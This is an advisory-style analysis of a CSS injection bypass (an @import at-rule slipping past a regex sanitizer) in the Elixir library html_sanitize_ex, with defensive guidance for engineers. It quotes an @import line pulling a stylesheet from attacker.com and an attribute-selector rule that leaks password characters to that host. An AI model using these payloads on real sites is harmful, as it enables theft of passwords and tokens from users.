CVE-2026-68747

CVE-2026-68747 is a CSS injection bypass in html_sanitize_ex, and it exposes a fundamental design flaw in how many sanitization libraries approach CSS: they treat it as a list of property-value pairs to be filtered, rather than as a programming language with at-rules, scoping constructs, and URL resolution capabilities. The vulnerability is straightforward. The scrubber uses regex matching against patterns like "property: value" to identify and remove dangerous CSS. The @import at-rule doesn't fit that pattern — it appears at the top level of a stylesheet, has no colon, and takes no property name. So it passes through the scrubber untouched. An attacker who can inject content into any field processed by this library can embed @import url(https://attacker.com/evil.css), and that directive will be present in the output. When a victim's browser renders the page, it fetches and applies the attacker's stylesheet. From there, the attack leverages well-established CSS exfiltration techniques. Attribute selectors like input[type=password][value^="x"] { background: url(https://attacker.com/exfil?q=p); } can leak character-by-character based on attribute values. Combined with timing attacks, this enables extraction of CSRF tokens, email addresses, and other sensitive data rendered in the page. Script execution is blocked, which is why the CVSS lands at 6.1 — but that score badly understates the operational risk. CSS data theft operates below the CVSS model's threshold: each extraction is tiny, but the aggregate can be devastating. Security decisions made on this score — CSP relaxations, access control approvals — may be dangerously disproportionate. This isn't an isolated Elixir problem. HTML Purifier had an identical @import bypass in 2012. DOMPurify competitors have hit the same pattern with @keyframes and @font-face. The genetic sequence is: security library ships a regex scrubber, maintainers enumerate the dangerous patterns they know about, and at-rules slip through because they're not in the enumeration. The pattern keeps recurring because the fix is never general — it's a one-off patch adding @import to the blocklist while leaving @counter-style, @container, and whatever CSS adds next equally unexamined. For engineers: verify whether your application passes user-controlled CSS anywhere, check your dependency tree for html_sanitize_ex, and audit any CSP or access control decisions that assumed CSS injection was neutralized. The library's presence may have implicitly justified security relaxations that no longer hold. If you're evaluating sanitization solutions, treat any regex-based property-value filter as incomplete by design — CSS at-rules are outside its threat model, not beyond its attack surface.

Reviewed through automated stages and approved by a human before publication.